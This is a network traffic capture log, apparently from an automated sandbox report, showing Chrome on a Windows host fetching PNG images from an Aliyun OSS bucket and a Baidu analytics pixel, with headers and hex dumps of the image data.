2024-09-27 03:51:03 UTC	543	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:03 GMT Content-Type: image/png Content-Length: 3610 Connection: close x-oss-request-id: 66F62BA7F299AF3137581AA9 Accept-Ranges: bytes ETag: "DD8E16BC461EDFE15C79429BF69D2C88" Last-Modified: Mon, 29 Jan 2024 03:33:45 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 5484108328647355098 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 3Y4WvEYe3+FceUKb9p0siA== x-oss-server-time: 2
2024-09-27 03:51:03 UTC	3610	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 e4 00 00 02 62 08 06 00 00 00 8f 4d d7 a0 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 6d 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 Data Ascii: PNGIHDRbMtEXtSoftwareAdobe ImageReadyqe<miTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	49886	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:03 UTC	424	OUT	GET /sichuang/images/2023/04/03/image_1680511204_BXx9E5Nl.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:04 UTC	544	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:03 GMT Content-Type: image/png Content-Length: 22662 Connection: close x-oss-request-id: 66F62BA77F9C7932353E2D1E Accept-Ranges: bytes ETag: "FDBCD303148C73517D4E401226D0A2BA" Last-Modified: Mon, 29 Jan 2024 03:33:53 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 6008215918346465801 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: /bzTAxSMc1F9TkASJtCiug== x-oss-server-time: 3
2024-09-27 03:51:04 UTC	15840	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 78 00 00 00 78 08 06 00 00 00 39 64 36 d2 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 3b 5a 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 0a 20 20 20 3c 72 64 66 Data Ascii: PNGIHDRxx9d6pHYs;ZiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?><x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf
2024-09-27 03:51:04 UTC	6822	IN	Data Raw: 1e 52 5a 63 71 05 a1 a0 a1 04 ae da 52 40 6b ab 51 7b 80 c6 b2 2d 82 da 82 ad ac 13 8b 24 0d 10 17 0a 62 ed 0b 37 c5 bd 72 c5 0e e4 08 4a 3d 8b a2 15 d8 81 75 7a 5e 11 58 d0 1d 07 71 39 5c aa ec dc 5c 21 92 9c 73 1a a1 3b 64 3e 5c 65 11 ab d8 6a 6c 92 65 b4 03 44 d2 34 f1 5c 99 28 02 70 1a 5b d6 58 56 5d b0 28 ce 26 7d 6c b9 ee 61 af 31 44 f2 b1 e5 5a c4 82 4e 42 44 52 08 cc 4d 2f d7 82 ee 61 01 2e 39 d2 74 ac 20 c9 a2 38 91 3e 06 60 26 5b 1c 56 71 58 0d e0 7b 00 9e 11 ea fd 64 00 5f 04 30 89 e0 d7 00 b8 08 c0 a3 02 b1 43 00 be 02 e0 3d 34 89 26 80 9f 01 58 aa c8 f8 d0 ce d5 88 eb 83 6b 46 ca 5c ce e9 24 27 ac 45 c8 5c 4d 56 6b 1a 76 9d 7c 13 be 45 91 65 9e 55 5c 0f 3c 84 ef 24 4e dc bf 00 70 96 e7 fa 8f 03 98 06 e0 25 86 8c 9f 00 98 23 ae 3b 13 c0 54 00 Data Ascii: RZcqR@kQ{-$b7rJ=uz^Xq9\\!s;d>\ejleD4\(p[XV](&}la1DZNBDRM/a.9t 8>`&[VqX{d_0C=4&XkF\$'E\MVkv\|EeU\<$Np%#;T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	49885	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:03 UTC	424	OUT	GET /sichuang/images/2023/04/03/image_1680511194_iI19gSI1.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:04 UTC	544	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:03 GMT Content-Type: image/png Content-Length: 20668 Connection: close x-oss-request-id: 66F62BA78915C63531E150E0 Accept-Ranges: bytes ETag: "B554908AF1B1B407DF480A4A469EC4E7" Last-Modified: Mon, 29 Jan 2024 03:33:53 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 2344829110357398830 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: tVSQivGxtAffSApKRp7E5w== x-oss-server-time: 2
2024-09-27 03:51:04 UTC	15840	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 78 00 00 00 78 08 06 00 00 00 39 64 36 d2 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 3b 5a 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 0a 20 20 20 3c 72 64 66 Data Ascii: PNGIHDRxx9d6pHYs;ZiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?><x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf
2024-09-27 03:51:04 UTC	4828	IN	Data Raw: ca 1d 7f 02 ec 70 fe 7e 15 b0 a0 80 86 9d 00 6b 5d 21 ad f1 a0 d1 43 ae ce 1d 65 84 6a bc 82 7d d1 a2 9a 1d 32 0c e7 3e 00 bc 01 d8 e6 a8 21 7f fc 8f fc b3 63 19 b0 67 d1 9a e4 15 63 cb bd 8a 6f 73 2a 3f 77 3a a1 ce 6d c9 b5 52 80 3b 3e 00 e7 de e0 e8 ce 18 b8 b1 35 59 00 ec e1 fc bd 43 7e 13 5d 93 2c 71 34 26 a5 58 76 ad e5 a9 11 c5 96 9b 00 f7 7e 25 b8 c8 6f f7 73 fe fe 3e b0 b9 88 d6 3c a1 08 aa a2 87 52 86 1f eb 30 a8 ea 00 f7 f3 c0 da 00 b8 27 2a c1 7d 05 f0 91 40 d0 a3 f0 45 ce 1b b0 20 b5 e0 4e 93 36 42 95 02 dc aa 9e 41 2a 70 57 09 98 fb 38 9f f5 80 bf 2a 93 52 f9 2c 73 85 5c 9d 3b 95 00 dc aa 9e 41 1d e0 de 04 bc 39 22 96 b7 2b c0 3d 18 b8 0b 38 c0 fb fc 77 81 ef 95 05 6c f2 11 e8 dc aa 7e ee a8 c1 1d 4f 1c 8d 73 c1 bd 19 38 35 62 50 69 c0 7d 39 Data Ascii: p~k]!Cej}2>!cgcos?w:mR;>5YC~],q4&Xv~%os><R0'}@E N6BApW8R,s\;A9"+=8wl~Os85bPi}9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	49889	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:03 UTC	424	OUT	GET /images/2024/05/10/sichuang/image_1715310520_AGtJf5BI.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:04 UTC	547	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:04 GMT Content-Type: image/png Content-Length: 310914 Connection: close x-oss-request-id: 66F62BA88915C632323551E0 Accept-Ranges: bytes ETag: "3C28A97AFC5FDEEA34923D6600000000" Last-Modified: Fri, 10 May 2024 03:19:16 GMT x-oss-object-type: Appendable x-oss-hash-crc64ecma: 16924069987699206204 x-oss-next-append-position: 310914 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true x-oss-server-time: 2
2024-09-27 03:51:04 UTC	15837	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 e4 00 00 02 62 08 06 00 00 00 8f 4d d7 a0 00 00 00 09 70 48 59 73 00 00 0f 61 00 00 0f 61 01 a8 3f a7 69 00 00 06 a7 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 33 36 30 2c 20 32 30 32 30 2f 30 32 2f 31 33 2d 30 31 3a 30 37 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDRbMpHYsaa?iiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RD
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: 85 75 bd 94 09 93 13 4d 86 8e 6f c4 2b 19 91 77 02 7b a4 c2 b0 7f 3a b2 56 40 a1 7a ed c6 09 6c 21 6e eb 4f 8d c2 b5 c7 08 da c2 2f be 38 63 40 97 22 14 e4 83 61 53 51 9c 0d 84 cd 1b 31 30 e2 dc 6c a2 52 cb 42 d6 75 98 fd 56 69 ec f5 a2 2b d1 84 63 54 c5 6f 64 16 09 6d c2 4b 6a 93 47 a5 65 91 9e 52 50 59 94 02 95 85 61 4c f7 d1 26 34 26 a5 0c 9c 73 04 7e 80 66 73 0c 63 63 63 a8 d7 9b 08 82 20 8d 7f 9a 0e 70 cd 1b 18 45 bf 41 11 96 d1 5c 1b 21 24 16 4f 7f 1a 87 6f 7e 07 5e f6 d2 97 e1 d3 9f f9 24 06 83 75 04 01 4b 1b 0c c6 52 de eb 76 bd 9f fd a5 3f fe a3 df fc d5 1f 7e e5 be e9 f1 d2 34 d6 57 0a 42 88 27 57 23 3b 1c 97 39 59 14 96 66 a3 8e ab af 3e 60 aa d8 51 56 92 8b 71 6c 10 74 ba 3d fe a5 2f df c7 b2 1a b8 14 03 80 a0 f4 dc e5 39 aa b8 5b 10 00 48 07 Data Ascii: uMo+w{:V@zl!nO/8c@"aSQ10lRBuVi+cTodmKjGeRPYaL&4&s~fsccc pEA\!$Oo~^$uKRv?~4WB'W#;9Yf>`QVqlt=/9[H
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: 64 a6 88 8a e7 c4 6a 73 e5 e7 3a fc 14 6d d2 14 d5 c5 3a 9d 46 96 a1 14 9a f1 f3 87 3c be 18 5c 24 0b b9 39 b1 5a 7d 17 c2 b1 c3 88 da c7 40 a8 1d 3a 2e bd 60 a9 60 89 a3 08 fb f6 ee c7 a1 83 57 e1 f4 99 53 68 36 9b 88 e3 38 15 e4 1c 94 26 a0 84 a0 d7 99 03 f7 9b 58 59 25 de 6f fc e7 ff fd 5b bf f0 73 3f fc 0a 02 74 01 33 f0 4e 6b 02 ee ac 84 8e a7 88 89 41 4c 41 28 20 24 9b 38 7d 6e f9 7d 7f fd 7f 3f fb af cf 9e 3a ba ff bd ef 7e 07 fa fd 01 3e f9 c9 4f a0 d3 69 03 a8 74 0c 6a cb 5a a1 01 a5 12 04 cd 6b d1 98 bc 06 5a 26 28 e2 0c 93 e2 31 28 8e 5c bc b3 d2 fa 83 12 8a f9 c5 d5 6f d9 b7 77 92 28 cb 34 95 0d e2 9c 99 59 dc d2 c2 e0 70 3c d3 c8 ac d9 8c f9 e0 9c 63 6d 75 fd f6 c7 1e 7f fc cd c7 8e 9f 78 fb ec dc c2 b7 24 42 f9 41 58 c3 d8 c4 1e ec 09 43 70 Data Ascii: djs:m:F<\$9Z}@:.``WSh68&XY%o[s?t3NkALA( $8}n}?:~>OitjZkZ&(1(\ow(4Yp<cmux$BAXCp
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: 1b 45 cb f5 65 d4 2e 2a d2 42 2e 0f 95 f1 83 00 be e7 43 08 8e 91 91 11 78 9e 8f 34 4d 25 6d 7c c9 17 da dd 05 2c 2e 2e a0 d7 ed 22 cf 33 40 e7 e3 f9 f0 7d 0f 9e 0a a7 ca 79 8e 2c cb 8c 9b 93 e7 79 08 82 00 51 14 a1 d9 6c ca a8 22 c2 2a 9e 5c c7 5d cf 73 a4 69 66 5c 62 72 72 ca a9 de d0 64 b6 d6 28 21 ac 05 be ee 5b 3f f0 e1 57 b0 64 21 04 16 db 8b fe dc fc dc fa 6d 5b b7 ad ff f9 75 d7 fd e1 b5 d7 fe f4 b6 57 bf fa 95 6f 19 18 18 f9 41 e9 85 df 52 ca b9 b5 92 7f 45 47 5c 39 9a 28 23 ca 56 3f f8 4b c7 b8 d7 e7 3a d3 79 11 b7 21 80 99 e5 f7 a5 dd 56 ca fb 36 2c b4 b4 c9 e4 79 d4 46 d1 77 fa a1 5c 5b 71 0d 4a 8c 11 48 58 19 47 e7 79 a5 4a 5c a8 4a af d7 53 46 0d c2 53 20 57 1a 5b 03 83 58 bf 7e 23 82 c0 57 d1 6b fa a1 b1 12 02 27 f4 ab 6a 8f ee 81 c2 bd 22 Data Ascii: Ee.B.Cx4M%m\|,.."3@}y,yQl"\]sif\brrd(![?Wd!m[uWoAREG\9(#V?K:y!V6,yFw\[qJHXGyJ\JSFS W[X~#Wk'j"
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: e7 3f 17 ff f0 0f 1f 45 2b 0c 4a 45 b8 74 2a ce 96 e2 5a 07 53 f5 c9 f1 c7 7f fc 3c 1c 3c 78 18 df fd cf ef e1 b4 d3 4f c7 e8 e8 08 1e ff f8 c7 e1 11 8f b8 d8 00 e4 33 ce 38 15 9f fc e4 c7 f1 d6 b7 bc 13 9f f9 ec e7 f1 c4 27 3e 1e cf 7a d6 1f e1 13 9f f8 67 b4 5a 4d 98 e8 76 25 0b 25 1d 44 1a 40 83 80 69 18 f7 95 72 bd ab 52 d1 af db 72 61 ca 3b 7f db e9 f8 f8 90 7b 04 5f 33 75 8c 29 63 d8 b2 75 1b da 73 fb e0 e5 29 e4 ba b0 16 dc 04 f2 18 cd 48 df 16 84 0d 59 a0 62 c9 47 83 cb db ce 90 40 04 ea d0 92 1c 9e 27 10 86 3e c2 c0 83 ef 4b 81 ab 63 20 7b cc 93 cb e5 1e 33 20 d1 0f 02 78 4c 82 4a df 57 d6 53 50 f0 ca 54 bc 64 e9 0f a6 83 d4 07 be 5a 9e f7 7d 30 08 65 21 94 40 36 f0 3d 03 ba 3d 8f c9 7b 7a 39 df 67 06 30 1a b0 ab 7e eb 13 ff 24 b0 f6 94 16 67 2d Data Ascii: ?E+JEt*ZS<<xO38'>zgZMv%%D@irRra;{_3u)cus)HYbG@'>Kc {3 xLJWSPTdZ}0e!@6=={z9g0~$g-
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: 04 00 25 5c 32 62 d1 08 4c 37 20 37 fc 80 73 fb 5c 14 86 19 47 44 cd 24 70 b7 3d 0c b0 d2 02 c0 ea 14 ad 15 97 bf 1b 70 ec 8b 09 1e b8 2b c1 e3 2f 55 38 bd 1d e1 fa 05 86 24 22 78 79 83 e3 5b 4f 35 f8 91 7b 12 7c f7 f5 02 ab 2c 42 ac 26 01 53 8c d0 d0 6e ea 2a 09 e7 f6 56 22 a0 f4 48 4d c3 30 1c 0c f1 4b bf fc 49 c4 31 c5 6f ff f6 1f 60 7d 75 0d fd 7e 1f 8b 8b fb 70 ea 9a 13 b8 fe fa 6b 71 ea d4 71 34 0d c3 68 34 c2 5b 6f 5d c0 17 3e ff a7 98 9b 9d c5 0f 7d e4 43 a8 ca 06 df fd ee 0f 90 28 1f ab de aa 4f 55 3d 34 e6 9b a6 c1 be c5 7d a0 84 e0 f2 e5 65 7d f3 9f 02 69 ac 69 10 47 09 d2 5e 82 38 8e cd 56 a0 2c 82 52 8a d1 ce 08 55 d5 a0 df 1f 60 95 ad 8a 9d 83 bd 0c 02 8b 03 d8 bb 1a 45 5e e0 9e 7b ee c6 e1 c3 07 f0 9f fe d3 e7 84 87 0f a9 b5 dd d8 5c 47 44 Data Ascii: %\2bL7 7s\GD$p=p+/U8$"xy[O5{\|,B&Sn*V"HM0KI1o`}u~pkqq4h4[o]>}C(OU=4}e}iiG^8V,RU`E^{\GD
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: 51 2a 2e 9a 91 0b 02 22 7f db 1f 05 ae a8 ae bb 32 4b 30 a0 d2 64 eb 09 09 d9 4e ee 81 19 79 0d bc 05 02 95 b9 88 38 a8 c9 b5 56 54 57 c9 59 64 28 8d ae 28 cf 07 77 ea 37 95 26 45 44 5e a4 a3 9b 43 93 45 ac 0f d5 60 5a 2f b0 88 01 76 ea 22 1e e5 83 5c 8c 03 2a da 4f 5d d6 43 dc b1 41 55 bb a9 cb 9f 9c 2e 51 d2 2b 00 a1 88 fb 9b 10 35 cd 61 40 a9 ea 48 5b a6 db 80 d5 da 19 b0 db c4 d9 f1 e0 72 77 84 71 70 c6 85 7f 6f dd 49 0e 57 98 06 ed 4c 7e d6 42 97 78 b4 a9 c7 ce 6e 47 30 78 2c 8c b7 3f bb 07 2e cb 23 d2 9f 78 8a 2c cb 70 f0 d0 61 54 75 85 d7 5f 7b 05 79 91 a3 96 57 11 8b dd 16 61 33 9e f6 7a 28 ab 52 b8 2e 04 41 5d 37 98 99 99 c3 dc ec 3c 16 17 f7 e3 f0 91 63 d8 dc dc c0 68 b4 23 b5 eb 8d 30 7f aa 6b 5c 7b cd f5 38 70 f0 10 5e 7e f9 79 8b 92 a0 58 70 Data Ascii: Q."2K0dNy8VTWYd((w7&ED^CE`Z/v"\O]CAU.Q+5a@H[rwqpoIWL~BxnG0x,?.#x,paTu_{yWa3z(R.A]7<ch#0k\{8p^~yXp
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: af ac 2e 5f 7b ea d4 c9 d7 48 70 11 13 0e 57 05 90 d7 35 e7 5c f2 6b db ed 96 11 57 c4 fa 2e 82 0d b9 c1 a5 86 49 ad 74 14 a0 f0 04 83 7f a2 d6 67 82 9c 88 86 b7 15 64 0a 3c db b8 dc cc 8b 2e c4 2b e8 e5 dc 16 11 4a e2 10 d3 93 de 4e 80 c8 d7 96 f0 c1 af 68 c7 5a 03 cf 62 70 ce 78 d4 bf b9 15 e1 67 3c 95 13 98 6a c0 1b d4 7e 33 04 c1 8d 5d 86 9b a0 15 b3 8b 40 f2 6a d0 2a de 24 e4 6e 82 2e 8a ac ad 62 3f 13 27 6f 6e c7 13 30 0e 9c 3f 7f 16 ab ab 2b e8 f7 fb 38 76 f4 08 d6 d6 36 d0 d4 8d de f2 7f ff fb df 8b 87 1f 7a 08 97 97 2e a2 28 0b c4 49 2c 0f 80 a0 43 4b 6b 8f 39 8e 24 26 a8 4b c1 2c 22 4a 2d 19 6c 2f 47 b9 ee 17 45 a7 bf 15 6c b3 11 b5 65 27 9a c8 7d aa 6b 47 cc 49 6f a5 91 55 5b 71 f6 e9 6f 75 e1 41 59 96 52 63 2a ea 3d 99 8c ad f9 48 b4 97 13 40 Data Ascii: ._{HpW5\kW.Itgd<.+JNhZbpxg<j~3]@j$n.b?'on0?+8v6z.(I,CKk9$&K,"J-l/GEle'}kGIoU[qouAYRc=H@
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: a8 be 36 bc 1a 0c 98 4c 26 b8 76 ed 8a f5 a5 1b ce 6f 80 d9 8b 87 52 36 e4 aa 8a 2c fe b3 8b 1d 3d a6 bb 3d f0 7c 00 c9 0a 74 cd ae 3a 23 50 2e 43 74 53 48 51 03 48 08 cb 50 e8 07 3f ed 6c ef d9 66 48 f3 99 14 b0 0b c1 b8 3b 54 e8 67 14 73 6e 3f a3 c5 1d c9 82 f9 6c 5b 29 14 0e 3d 8c 98 4c fb 9e d0 cf 8d e3 84 3d 0d da 93 ab 99 73 8b 23 07 ed b3 20 bf 70 15 e7 30 9d c7 34 09 e5 61 1f 51 91 b2 0f 52 4d e4 11 43 38 dd e8 07 42 a9 34 47 4a 23 21 0c b0 bc ac 87 92 18 ca 30 40 f6 d5 c5 f0 76 6f 4c 06 3b 45 e4 55 c4 be bc 37 5a 66 92 37 d1 f7 3e 78 94 1a 42 a4 e2 c1 34 4a b6 a7 15 d3 32 ce d2 a4 09 b1 53 34 4f a0 5b 43 bf f4 76 e9 74 64 0a db 2c 29 c1 ae 34 23 6d 6e 6e eb 6c bb 16 45 59 58 fe ae 76 76 4d 89 aa e5 ec 79 22 d1 e9 83 f4 39 84 94 d8 d9 d9 41 3d 9f Data Ascii: 6L&voR6,==\|t:#P.CtSHQHP?lfH;Tgsn?l[)=L=s# p04aQRMC8B4GJ#!0@voL;EU7Zf7>xB4J2S4O[Cvtd,)4#mnnlEYXvvMy"9A=
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: 3c 9e e7 e8 d7 31 a5 da 89 6d bb 0e 6d d3 7a b7 32 37 4d b3 2f 7b b8 6f 36 e4 9c 67 6a ed ae 3b d8 c9 04 df 8d 54 ec be 5d e8 2b aa c9 d6 74 12 38 b9 fc 40 07 81 c9 8f b6 25 0b 52 19 26 66 24 b2 c7 55 52 25 39 e0 19 01 39 ba dd 11 92 16 ff 8c 9f 04 e9 cc dc 68 5b e5 99 a2 aa d4 56 75 5d cf 51 cf 6b e4 79 0e 9e 71 af 7e b1 d6 da 67 ed 1e cf a2 64 d0 36 d8 37 c4 13 d9 6e f7 68 41 64 dc d2 ad 1e 5a c5 f2 f2 32 a4 94 d8 da da c6 f6 d6 96 f2 a4 91 e5 ca 76 da 6b 33 4f aa 25 5a 29 dd d7 24 03 57 15 b8 11 65 99 89 8e 66 46 88 f2 92 e6 1a 4f 86 f5 67 7e 3d 23 66 4c f2 8c 19 b0 f4 d2 51 da cc d9 43 05 f2 cc 04 76 cb c9 28 cf 14 43 92 e6 bb cb cc 09 db 78 0c 9b b2 c2 67 d1 a0 a4 ed 93 18 0b 4d db e8 2d 38 a5 0d e5 99 32 eb 30 5b 71 9d 50 26 2d 6e 60 48 80 29 cd ae Data Ascii: <1mmz27M/{o6gj;T]+t8@%R&f$UR%99h[Vu]Qkyq~gd67nhAdZ2vk3O%Z)$WefFOg~=#fLQCv(CxgM-820[qP&-n`H)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	49891	103.235.46.96	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:03 UTC	396	OUT	GET /9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif?l=https://www.hbyczyz.com/ HTTP/1.1 Host: sp0.baidu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:04 UTC	135	IN	HTTP/1.1 200 OK Content-Length: 0 Content-Type: text/plain; charset=utf-8 Date: Fri, 27 Sep 2024 03:51:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	49892	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:04 UTC	659	OUT	GET /sichuang/images/2023/04/03/image_1680511345_qc6Zg0KK.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:04 UTC	543	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:04 GMT Content-Type: image/png Content-Length: 1893 Connection: close x-oss-request-id: 66F62BA816584531366EDB44 Accept-Ranges: bytes ETag: "38F59D5B511FB9ED384061E1E50C764E" Last-Modified: Mon, 29 Jan 2024 03:33:53 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 1081875882913502963 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: OPWdW1Efue04QGHh5Qx2Tg== x-oss-server-time: 2
